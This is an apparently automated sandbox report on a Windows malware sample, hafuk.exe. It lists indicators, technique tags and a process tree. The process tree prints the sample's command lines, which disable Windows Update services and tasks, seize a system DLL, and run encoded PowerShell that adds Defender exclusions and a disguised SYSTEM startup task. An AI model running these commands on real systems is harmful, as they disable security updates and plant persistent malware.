f96299c94417aea9f7f1d612cb84635a5c2f7c461e86da1febb052b4a2ef32ed

Analysis

max time kernel
33s
max time network
35s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
29-08-2022 03:26

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General

Target

hafuk.exe
Size

4.3MB
MD5

e0ec197ba6e02af435a5230b8f4331b3
SHA1

7aada797f2a5f1ff58467923f47d6d31db33fc1a
SHA256

f96299c94417aea9f7f1d612cb84635a5c2f7c461e86da1febb052b4a2ef32ed
SHA512

46927c14cf945ee013731cc19671a1e183c44eb62a0f3e16ce9323bee26d92818aa8271cef7ffd781e51c1c583f162f438c8ea8d6902fdb10d807f7b42032770
SSDEEP

98304:wEH7zDMeBfte//fxvbNOKAJmFxPVGp3X/G3DvJFvxzG99K:wEPDDBfKxvQKAJmFxPVG1/GlFv0XK

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Drops file in Drivers directory 1 IoCs

Processes:

hafuk.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts hafuk.exe
Executes dropped EXE 1 IoCs

Processes:

updaterchr.exe

pid process

4496 updaterchr.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1724 takeown.exe
4612 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

hafuk.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation hafuk.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1724 takeown.exe
4612 icacls.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	hafuk.exe

pid	process
4496	updaterchr.exe

pid	process
1724	takeown.exe
4612	icacls.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	hafuk.exe

pid	process
1724	takeown.exe
4612	icacls.exe

Drops file in Program Files directory 2 IoCs

Processes:

hafuk.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updaterchr.exe	hafuk.exe
File opened for modification	C:\Program Files\Google\Chrome\updaterchr.exe	hafuk.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

3796 sc.exe
3060 sc.exe
3144 sc.exe
804 sc.exe
3488 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3796	sc.exe
3060	sc.exe
3144	sc.exe
804	sc.exe
3488	sc.exe

Modifies data under HKEY_USERS 51 IoCs

Processes:

powershell.exeupdaterchr.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	updaterchr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	updaterchr.exe

Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

4520 reg.exe
3672 reg.exe
2000 reg.exe
1240 reg.exe
4772 reg.exe
1052 reg.exe
4760 reg.exe
3412 reg.exe
1680 reg.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exehafuk.exepowershell.exe

pid process

1180 powershell.exe
1180 powershell.exe
4588 powershell.exe
4588 powershell.exe
3448 hafuk.exe
3176 powershell.exe
3176 powershell.exe

pid	process
4520	reg.exe
3672	reg.exe
2000	reg.exe
1240	reg.exe
4772	reg.exe
1052	reg.exe
4760	reg.exe
3412	reg.exe
1680	reg.exe

pid	process
1180	powershell.exe
1180	powershell.exe
4588	powershell.exe
4588	powershell.exe
3448	hafuk.exe
3176	powershell.exe
3176	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeShutdownPrivilege	2660	powercfg.exe
Token: SeCreatePagefilePrivilege	2660	powercfg.exe
Token: SeShutdownPrivilege	1264	powercfg.exe
Token: SeCreatePagefilePrivilege	1264	powercfg.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeShutdownPrivilege	1676	powercfg.exe
Token: SeCreatePagefilePrivilege	1676	powercfg.exe
Token: SeShutdownPrivilege	4860	powercfg.exe
Token: SeCreatePagefilePrivilege	4860	powercfg.exe
Token: SeTakeOwnershipPrivilege	1724	takeown.exe
Token: SeIncreaseQuotaPrivilege	4588	powershell.exe
Token: SeSecurityPrivilege	4588	powershell.exe
Token: SeTakeOwnershipPrivilege	4588	powershell.exe
Token: SeLoadDriverPrivilege	4588	powershell.exe
Token: SeSystemProfilePrivilege	4588	powershell.exe
Token: SeSystemtimePrivilege	4588	powershell.exe
Token: SeProfSingleProcessPrivilege	4588	powershell.exe
Token: SeIncBasePriorityPrivilege	4588	powershell.exe
Token: SeCreatePagefilePrivilege	4588	powershell.exe
Token: SeBackupPrivilege	4588	powershell.exe
Token: SeRestorePrivilege	4588	powershell.exe
Token: SeShutdownPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeSystemEnvironmentPrivilege	4588	powershell.exe
Token: SeRemoteShutdownPrivilege	4588	powershell.exe
Token: SeUndockPrivilege	4588	powershell.exe
Token: SeManageVolumePrivilege	4588	powershell.exe
Token: 33	4588	powershell.exe
Token: 34	4588	powershell.exe
Token: 35	4588	powershell.exe
Token: 36	4588	powershell.exe
Token: SeIncreaseQuotaPrivilege	4588	powershell.exe
Token: SeSecurityPrivilege	4588	powershell.exe
Token: SeTakeOwnershipPrivilege	4588	powershell.exe
Token: SeLoadDriverPrivilege	4588	powershell.exe
Token: SeSystemProfilePrivilege	4588	powershell.exe
Token: SeSystemtimePrivilege	4588	powershell.exe
Token: SeProfSingleProcessPrivilege	4588	powershell.exe
Token: SeIncBasePriorityPrivilege	4588	powershell.exe
Token: SeCreatePagefilePrivilege	4588	powershell.exe
Token: SeBackupPrivilege	4588	powershell.exe
Token: SeRestorePrivilege	4588	powershell.exe
Token: SeShutdownPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeSystemEnvironmentPrivilege	4588	powershell.exe
Token: SeRemoteShutdownPrivilege	4588	powershell.exe
Token: SeUndockPrivilege	4588	powershell.exe
Token: SeManageVolumePrivilege	4588	powershell.exe
Token: 33	4588	powershell.exe
Token: 34	4588	powershell.exe
Token: 35	4588	powershell.exe
Token: 36	4588	powershell.exe
Token: SeIncreaseQuotaPrivilege	4588	powershell.exe
Token: SeSecurityPrivilege	4588	powershell.exe
Token: SeTakeOwnershipPrivilege	4588	powershell.exe
Token: SeLoadDriverPrivilege	4588	powershell.exe
Token: SeSystemProfilePrivilege	4588	powershell.exe
Token: SeSystemtimePrivilege	4588	powershell.exe
Token: SeProfSingleProcessPrivilege	4588	powershell.exe
Token: SeIncBasePriorityPrivilege	4588	powershell.exe
Token: SeCreatePagefilePrivilege	4588	powershell.exe
Token: SeBackupPrivilege	4588	powershell.exe
Token: SeRestorePrivilege	4588	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

hafuk.execmd.execmd.execmd.exeupdaterchr.exe

description	pid	process	target process
PID 3448 wrote to memory of 1180	3448	hafuk.exe	powershell.exe
PID 3448 wrote to memory of 1180	3448	hafuk.exe	powershell.exe
PID 3448 wrote to memory of 1812	3448	hafuk.exe	cmd.exe
PID 3448 wrote to memory of 1812	3448	hafuk.exe	cmd.exe
PID 3448 wrote to memory of 1940	3448	hafuk.exe	cmd.exe
PID 3448 wrote to memory of 1940	3448	hafuk.exe	cmd.exe
PID 1812 wrote to memory of 3060	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 3060	1812	cmd.exe	sc.exe
PID 1940 wrote to memory of 2660	1940	cmd.exe	powercfg.exe
PID 1940 wrote to memory of 2660	1940	cmd.exe	powercfg.exe
PID 3448 wrote to memory of 4588	3448	hafuk.exe	powershell.exe
PID 3448 wrote to memory of 4588	3448	hafuk.exe	powershell.exe
PID 1812 wrote to memory of 3144	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 3144	1812	cmd.exe	sc.exe
PID 1940 wrote to memory of 1264	1940	cmd.exe	powercfg.exe
PID 1940 wrote to memory of 1264	1940	cmd.exe	powercfg.exe
PID 1940 wrote to memory of 1676	1940	cmd.exe	powercfg.exe
PID 1940 wrote to memory of 1676	1940	cmd.exe	powercfg.exe
PID 1812 wrote to memory of 804	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 804	1812	cmd.exe	sc.exe
PID 1940 wrote to memory of 4860	1940	cmd.exe	powercfg.exe
PID 1940 wrote to memory of 4860	1940	cmd.exe	powercfg.exe
PID 1812 wrote to memory of 3488	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 3488	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 3796	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 3796	1812	cmd.exe	sc.exe
PID 1812 wrote to memory of 4760	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 4760	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 3412	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 3412	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1680	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1680	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 3672	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 3672	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 4520	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 4520	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1724	1812	cmd.exe	takeown.exe
PID 1812 wrote to memory of 1724	1812	cmd.exe	takeown.exe
PID 1812 wrote to memory of 4612	1812	cmd.exe	icacls.exe
PID 1812 wrote to memory of 4612	1812	cmd.exe	icacls.exe
PID 3448 wrote to memory of 2044	3448	hafuk.exe	cmd.exe
PID 3448 wrote to memory of 2044	3448	hafuk.exe	cmd.exe
PID 2044 wrote to memory of 1992	2044	cmd.exe	schtasks.exe
PID 2044 wrote to memory of 1992	2044	cmd.exe	schtasks.exe
PID 4496 wrote to memory of 3176	4496	updaterchr.exe	powershell.exe
PID 4496 wrote to memory of 3176	4496	updaterchr.exe	powershell.exe
PID 1812 wrote to memory of 2000	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 2000	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1240	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1240	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 4772	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 4772	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1052	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 1052	1812	cmd.exe	reg.exe
PID 1812 wrote to memory of 2208	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 2208	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 1400	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 1400	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 1444	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 1444	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 1492	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 1492	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 2104	1812	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 2104	1812	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\hafuk.exe
"C:\Users\Admin\AppData\Local\Temp\hafuk.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAbABvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwB3AGoAeAAjAD4AIABAACgAIAA8ACMAdwBxACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBpAG8AZAB5ACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGgAYQBkAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdwBmAHcAIwA+AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1180

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:3060

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3144

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:804

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3488

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3796

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:4760

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:3412

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:1680

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:3672

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:4520

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1724

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4612

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2000

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1240

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4772

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1052

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:2208

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1400

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:1444

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:1492

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:2104

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:2024

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:4448

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:1940

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2660

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1264

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAegAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgBjAGgAcgAuAGUAeABlACIAJwApACAAPAAjAGgAdAB5AHYAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBzAGEAeAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAawAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAEcATgBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxACMAPgA7AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineGNC"
2⤵
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineGNC"
3⤵
PID:1992

C:\Program Files\Google\Chrome\updaterchr.exe
"C:\Program Files\Google\Chrome\updaterchr.exe"
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
